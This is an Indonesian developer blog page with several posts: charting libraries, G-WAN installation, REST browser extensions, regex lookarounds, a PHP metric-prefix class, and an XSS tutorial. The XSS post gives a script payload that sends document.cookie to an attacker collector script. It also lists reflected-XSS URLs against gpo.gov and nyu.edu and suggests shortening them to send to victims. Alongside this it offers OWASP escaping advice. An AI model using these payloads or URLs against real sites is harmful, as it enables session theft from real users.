Ultimate Javascript Charting and Graphic Library List

Charting

Saya menghabiskan waktu yang cukup lama untuk menentukan Charting Library apa yang harus saya pakai pada project kali ini. Karena dalam menentukan sesuatu yang ingin kita pakai(dalam kasus kali ini yang dimaksud adalah Chart Library dan bukan yang lain) tentunya tidaklah mudah karena setiap orang memiliki selera yang berbeda-beda, serta kemampuan yang berbeda juga. Kemampuan yang saya maksud adalah Skill, Uang dan Waktu. Contohnya saja jika project yang sedang dikerjakan memiliki budget yang besar, maka saya tidak ambil pusing karena saya bisa membeli lisensi charting yang bagus(HighChart contohnya). Namun berbeda ketika budget yang dimiliki tidak banyak, maka kita harus mencari alternatif yang Free.

Posting kali ini bukan bertujuan untuk membahas Uang, atau bahkan tutorial membuat charting, tapi lebih kepada list charting yang bisa anda pilih. Baiklah langsung saja saya list semua Charting dan graphic library yang sudah saya temukan dan kumpulkan link-nya,

Silahkan pilih sesuai selera, kebutuhan dan budget anda. Namun perlu diingat bahwa kompabilitas sangatlah penting, pastikan Chart atau graphic library yang anda pilih bisa berjalan mulus dan bagus pada IE 6!

Tolong jika ada yang terlewatkan, beritahu saya lewat kolom komentar dibawah.

Mengenal lebih dalam XSS (Cross Site Scripting)

XSS merupakan salah satu jenis serangan injeksi code (code injection attack). XSS dilakukan oleh penyerang dengan cara memasukkan kode HTML atau client script code lainnya ke suatu situs. Serangan ini akan seolah-olah datang dari situs tersebut. Akibat serangan ini antara lain penyerang dapat mem-bypass keamanan di sisi klien, mendapatkan informasi sensitif, atau menyimpan aplikasi berbahaya.

Penjelasan diatas saya ambil dari Wikipedia, jika anda masih bingung, maka hal yang terbaik adalah dengan memberikan contoh, silahkan copy code ini lalu jalankan.

<?php
session_start();
if(isset($_POST['submit']))
	echo $_POST['comment'].'<br>';
?>
<form action="comment.php" method="post"><textarea name="comment"></textarea>
<input type="submit" name="submit" value="Submit" /></form>

Standard bukan ? Baiklah sekarang coba masukkan code berikut pada comment, lalu submit

<script type="text/javascript">javascript:alert('fathihadi.net');</script>

Anda akan melihat Alert atau PopUp bukan ?(*kecuali anda mematikan javascript pada browser). Pada code awal kita sama sekali tidak memunculkan Alert, melainkan Alert ini masuk melalui User Input. Nah inilah yang disebut XSS, yaitu serangan injeksi script. Bayangkan jika facebook memiliki celah XSS seperti ini, siapapun teman anda yang iseng memasukkan script aneh ada wall post-nya, maka anda akan terganggu setiap kali membuka facebook.

Tentunya tujuan hacker mencoba serangan XSS bukan untuk mengganggu alias iseng, tapi untuk tujuan lain, yaitu mencuri session dan hal lainnya. Lalu bagaimana contohnya dengan XSS, hacker bisa mencuri session ?

Sebagai bukti, silahkan persiapkan satu file php baru, yaitu ‘get_all.php’. Pada skenario kali ini, kita akan mencuri PHPSESSID dari user yang sedang login dan mengirimkannya ke server kita

<?php
$file = 'submitted.txt';
$current = file_get_contents($file);
$current .= json_encode($_GET);
file_put_contents($file, $current);
?>

Perlu diketahui bahwa kita akan mencoba semuanya secara local, saya hanya memberikan bukti secara konsep. Dan pada serangan yang sesungguhnya, file get_all.php ini tidak akan berada di localhost, melainkan di hosting sungguhan. Sekarang mari kita coba masukkan code XSS berikut:

<script type="text/javascript">document.write('<img src="http://local.dev:8080/test/get_all.php?w=' + document.cookie + '" style="display:none;">');</script>

Code xss diatas akan membuat sebuah script img yang tidak terlihat, lalu browser akan mengirimkan session cookie ke alamat http://local.dev:8080/test/get_all.php

Berikut contoh PHPSESSID yang terkirimkan,

{"w":"PHPSESSID=3emh390v9sbp23thi2se3onr67"}

Jenis Serangan

Terdapat dua jenis serangan XSS, Persistent dan Non-Persistent. Pada contoh diatas, merupakan jenis serangan Persistent, yaitu serangan yang berupa permanen, karena script xss disimpan kedalam database atau secondary storage, dan setiap korban yang membuka halaman yang sudah terinfeksi akan terkena dampaknya juga. Sedangkan pada serangan Non-Persistent membutuhkan aktifitas social oleh si penyerang kepada calon korban, dan bersifat sementara(tidak permanen), Contohnya saya temukan pada situs Printing Office pemerintahan US.

http://www.gpo.gov/gpo/sitesearch/homedosite.action;jsessionid=gJhsRDgT5D1nG53Pv22Q2DPPv5Z29yBnZcLLYhVyFybv1Nnt6R7F!-1342791787?st=%22%3E%3Cimg%20src=%22https://fbcdn-sphotos-h-a.akamaihd.net/hphotos-ak-ash4/2698_69277572409_2578789_n.jpg%22%3E

Dan

http://google.nyu.edu/search?site=NYUWeb_Main&client=NYUWeb_Main&output=xml_no_dtd&proxyreload=1&proxystylesheet=stern_frontend&sitesearch=www.stern.nyu.edu&q=%22%3E%3Cimg+src%3D%22https%3A%2F%2Ffbcdn-sphotos-h-a.akamaihd.net/hphotos-ak-ash4/2698_69277572409_2578789_n.jpg%22%3E&x=8&y=6

xss_us_printing

nyu_xss

Link diatas bisa dengan mudah saya pendekkan dengan menggunakan tinyurl service seperti bit.ly dan mengirimkannya kepada calon korban. Sekali lagi jangan bingung, karena contoh diatas hanya untuk pembuktian, dan Hacker bisa melakukan hal lain selain menaruh gambar.
Sekarang, bagaimana caranya kita mengetahui bahwa program yang kita tulis sudah benar-benar aman dari XSS ? Anda bisa mencobanya langsung dengan melakukan test satu persatu code XSS dari RSnake XSS cheatsheet dan HTML5 XSS cheatsheet.

Solusi

Jika anda terbiasa menggunakan htmlspecialchars(), maka sepertinya anda harus berfikir ulang, karena fungsi ‘htmlspecialchars’ tidaklah cukup untuk melakukan escaping. Menurut OWASP(Open Web Application Security Project), escaping untuk HTML seharusnya adalah sebagai berikut,

& --> &amp;
< --> &lt;
> --> &gt;
" --> &quot;
' --> &#x27;     &apos; tidak disarankan karena bukan merupakan bagian dari spesifikasi HTML (Lihat: section 24.4.1) &apos; merupakan bagian dari spesifikasi XML dan XHTML.
/ --> &#x2F;     forward slash juga harus diescape

Selain itu, tidak hanya HTML Entity saja yang harus diescape, melainkan HTML Attribute, URL, JavaScript, dan CSS Hex.

Jelas bahwa ‘htmlspecialchars’ saja tidak cukup. Saya akan membuat post lain yang khusus membahas Solusi XSS, mulai dari Escaping hingga Sanitizing.

Namun sebelum mengakhiri posting ini saya ingin menjelaskan mengenai XSS yang berada dalam File Gambar(jpg, png).

Image XSS

XSS Image yang saya maksud bukan berupa tag img pada html seperti,

<img alt="" src="javascript:alert('XSS');" />

Melainkan file Image seperti JPG, atau PNG. Anda mungkin bertanya, bagaimana mungkin file image bisa mengandung XSS?. Bisa!, anda bisa coba sendiri untuk membuka gambar apapun dengan Notepad atau HexEditor, lalu menghapus semuanya dan menggantikannya dengan XSS Code(atau ditambahkan diakhir).

hex image

hex image_after

Masalah ini sebenarnya hanya terjadi pada Internet Explorer versi 7 kebawah dan tidak dimiliki oleh Browser modern seperti Chrome dan Firefox, namun tetap kita harus menghindari masalah ini.

Berikut Tips untuk Image XSS :

  • Jangan simpan gambar pada domain yang sama dengan web, misalnya jika aplikasi web anda adalah ‘fathihadi.net’, maka simpan semua gambar di subdomain atau domain lain, misalnya ‘images.fathihadi.net’. Hal ini untuk melindungi pencurian cookie. PERHATIAN : Tips ini tidak menyelesaikan masalah !
  • Blok semua penggunaan Image. 😀 Tentunya tidak mungkin anda lakukan, jadi lupakan tips ini!
  • Gunakan Fungsi Manipulasi Gambar sebelum menyimpan gambar. Misalnya mengubah ukuran atau mengkompres Gambar. Ini merupakan cara paling ampuh.

Memang merepotkan bukan ? ini semua disebabkan oleh IE yang terlalu pintar karena mengeksekusi kode html dan javascript yang berapa dalam Image.

Semoga dengan membaca post ini anda bisa mendapatkan banyak gambaran mengenai Web Application Security. Post selanjutnya akan saya bahas solusinya secara mendalam

G-WAN Installation on Debian

Akhirnya setelah sekian lama saya menanti G-WAN untuk bisa mensuport PHP, dan sekarang sudah bisa(official). Menurut claim gwan, gwan sangatlah cepat dan ringan serta mengalahkan nginx dan varnish cache. Inilah yang membuat saya tertarik. Berhubung ada waktu luang, saya mencoba untuk menginstall G-WAN pada Debian(VM-Ware), dan cukup mudah ternyata.

Jangan lupa sebelum memulai, silahkan berdoa terlebih dahulu

  1. Install Debian terbaru.
    *Tutorial ini tidak mengikutsertakan cara menginstall Debian, silahkan anda cari sendiri di Google.
  2. Download gwan dari http://gwan.com/download.
    *Gunakan selalu 64bit jika OS yang anda gunakan adalah versi 64bit.
  3. Seteleh di download, silahkan extract di sebuah folder.
    *Jika anda menggunakan terminal/console, silahkan ketik lalu enter command berikut :

    su root
    wget http://gwan.com/archives/gwan_linux64-bit.tar.bz2
    tar -xjf gwan_linux64-bit.tar.bz2; cd gwan_linux64-bit

  4. Jika sudah, silahkan run saja dengan menjalankan file ‘gwan’

    ./gwan

  5. Jika anda menemukan error pada ‘kv_bench.c’, ini dikarenakan sqlite3 tidak terinstall atau tidak terinstall dengan baik. Jadi pastikan anda sudah menginstall sqlite3, namun jika ternyata sudah diinstall namun masih terdapat error, berarti anda harus menjalankan command berikut

    ln /usr/lib/libsqlite3.so.0 /usr/lib/libsqlite3.so

  6. Silahkan jalankan kembali gwan

Perlu diingat bahwa document root berada pada folder ‘0.0.0.0_8080’

gwan localhost

Next post saya akan membahas lebih lanjut g-wan

Maaf jika tutorial ini tidak lengkap dan terkesan asal-asalan :D

REST extension/addons untuk Chrome dan Firefox

Jika anda sedang bermain-main dengan REST API, pasti anda membutuhkan sebuah applikasi untuk  mencobanya. Saya sangat menyarankan untuk menggunakan extension/addons pada browser karena akan memudahkan anda untuk mengintip dokumentasi API tersebut, yang biasanya juga diakses menggunakan browser. Saya sudah mencoba berbagai extension/addons pada browser untuk tujuan REST API Testing, dan menemukan banyak bugs pada beberapa extension/addons. Sehingga saya ingin berbaik hati untuk sharing REST API extension/addons yang well tested.

 

Chrome

Rest Console

Rest Console

 

Firefox

REST Client

Rest Client

 

Dua itu yang sudah saya test dan cukup baik dan stabil, yang lain banyak bugs dan tidak stabil.

Btw jika anda terbiasa dengan console, silahkan gunakan cURL

 

Happy Exploring :)

Regex lookbehind and negative lookahead

Lookbehind dan lookahead mungkin bukan kata yang asing, artinya mudah dimengerti, lihat kebelakang dan lihat kedepan :D. Tapi dalam regex(REGular EXpression), lookbehind dan lookahead digunakan untuk mencocokkan suatu pola sebelum atau sesudah ekspresi utama diberikan. Sekali lagi perlu diingat, regex bukanlah simbol aneh seperti hieroglyph, jadi kalau anda ingin belajar atau memperdalam Regex, maka hapuslah anggapan ‘regex susah’ dari otak anda sebelum anda memulainya.

Lookbehind dan lookahead mempunyai nilai positif dan negatif.

Positive Lookbehind(?<=ABC) akan menyertakan hasil ekspresi/pola utama jika syarat pola yang diberikan sebelum ekspresi utama terpenuhi.

contoh : jika sebelum kata ‘fathi’ terdapat kata ‘ahmad’ maka pola ini cocok.

Negative lookbehind(?<!ABC) akan mengabaikan hasil ekspersi/pola utama jika syarat pola yang diberikan sebelum ekspresi utama terpenuhi.

contoh : jika sebelum kata ‘fathi’ terdapat kata ‘hadi’ maka pola ini tidak cocok.

Positive Lookahead(?=ABC) akan menyertakan hasil ekspresi/pola utama jika syarat pola yang diberikan sesudah ekspresi utama terpenuhi.

contoh : jika setelah kata ‘fathi’ terdapat kata ‘hadi’ maka pola ini cocok.

Negative Lookahead(?!ABC) akan mengabaikan hasil ekspersi/pola utama jika syarat pola yang diberikan setelah ekspresi utama terpenuhi.

contoh : jika setelah kata ‘fathi’ terdapat kata ‘hadi’ maka pola ini tidak cocok.

 

Nah saya akan beri contoh super mudah dalam Sintax Regex yang sesungguhnya.

Saya mempunyai Text seperti berikut :

Ahmad
Fathi
Hadi
Ahmad Fathi
Fathi Hadi
Ahmad Fathi Hadi

Jika saya ingin mencari kata ‘Fathi’ maka sintax Regexnya sangat simple, yaitu ‘Fathi’.

Lalu bagaimana jika saya ingin mencari kata ‘Fathi’ yang sebelumnya ada kata ‘Ahmad’ ? Untuk melakukannya, kita membutuhkan sintax lookbehind(positive) yaitu ‘(?<=Ahmad )Fathi’, maka baris 4 dan 6 lah yang cocok.

Jika kita ingin mencari kata ‘Fathi’ yang sebelumnya tidak ada kata ‘Ahmad’ maka kita membutuhkan sintax lookbehind(negative), yaitu ‘(?<!Ahmad )Fathi’, maka baris 2 dan 5 lah yang cocok.

Jika kita ingin mencari kata ‘Fathi’ yang sesudahnya ada kata ‘Hadi’, maka kita akan menggunakan lookahead(positive), yaitu ‘Fathi(?= Hadi)’, maka baris 5 dan 6 yang cocok.

Jika kita ingin mencari kata ‘Fathi’ yang sesudahnya tidak ada kata ‘Hadi’, maka kita akan menggunakan lookahead(negative), yaitu ‘Fathi(?! Hadi)’, maka baris 2 dan 4 yang cocok.

Selanjutnya anda juga bisa menggabungkan lookbehind dan lookahead, misalnya anda ingin mencari kata ‘Fathi’ yang sebelumnya ada kata ‘Ahmad’ dan sesudahnya terdapat kata ‘Hadi’. Sintaxnya adalah berikut ‘(?<=Ahmad )Fathi(?= Hadi)’, yang cocok adalah baris 6 karena lengkap.

 

Saya akan berikan contoh penerapan lookbehind dan lookahead pada aplikasi yang ingin mencari twitter username, polanya adalah @username. namun kita harus menggunakan bantuan lookbehind dan lookahead agar pola email tidak tertangkap(ahmad@fathihadi.net).

Saya sudah test untuk twitter @username berikut sintax regexnya(saya tidak mengcopy-nya dari manapun, melainkan murni berfikir dan mencobanya, dan mungkin polanya bisa salah untuk beberapa kemungkinan)

(?<=\s)@\w+(?!\S)

 

Semoga bermanfaat 🙂

* Jika anda tidak faham berarti saya yang tidak pintar dalam menulis, bukan karena anda yang kurang pintar.

* Tools untuk mencobanya secara online adalah link ini http://gskinner.com/RegExr/

PHP Metric prefix Class

1K

10K

100.9M

etc…

Sering bukan melihat angka dengan format seperti diatas ?

Agar tidak salah, lebih baik anda melihat table dibawah ini,

Metric prefixes
Prefix Symbol 1000m Decimal Short scale Long scale
yotta Y 10008 1000000000000000000000000 septillion quadrillion
zetta Z 10007 1000000000000000000000 sextillion trilliard
exa E 10006 1000000000000000000 quintillion trillion
peta P 10005 1000000000000000 quadrillion billiard
tera T 10004 1000000000000 trillion billion
giga G 10003 1000000000 billion milliard
mega M 10002 1000000 million
kilo k 10001 1000 thousand
hecto h 10002/3 100 hundred
deca da 10001/3 10 ten
10000 1 one
deci d 1000−1/3 0.1 tenth
centi c 1000−2/3 0.01 hundredth
milli m 1000−1 0.001 thousandth
micro μ 1000−2 0.000001 millionth
nano n 1000−3 0.000000001 billionth milliardth
pico p 1000−4 0.000000000001 trillionth billionth
femto f 1000−5 0.000000000000001 quadrillionth billiardth
atto a 1000−6 0.000000000000000001 quintillionth trillionth
zepto z 1000−7 0.000000000000000000001 sextillionth trilliardth
yocto y 1000−8 0.000000000000000000000001 septillionth quadrillionth

Berikut ini PHP Class yang telah saya modifikasi sedikit dan tidak banyak dari link ini

class MetricPrefix {
	public function decimalToSymbol($input)
    {
        $suffixes = array('', 'k', 'M', 'G', 'T', 'P', 'E', 'Z', 'Y');
        $suffixIndex = 0;

        while(abs($input) >= 1000 && $suffixIndex < sizeof($suffixes))
        {
            $suffixIndex++;
            $input /= 1000;
        }

        return (
            $input > 0
                ? floor($input * 1000) / 1000
                : ceil($input * 1000) / 1000
            )
            . $suffixes[$suffixIndex];
    }
}

**Perlu diperhatikan bahwa class ini dimulai dari kilo(k) hingga yotta(Y)

cara menggunakannya

$metricPrefix = new MetricPrefix();
$metricPrefix->decimalToSymbol(1999990999999);

Semoga bermanfaat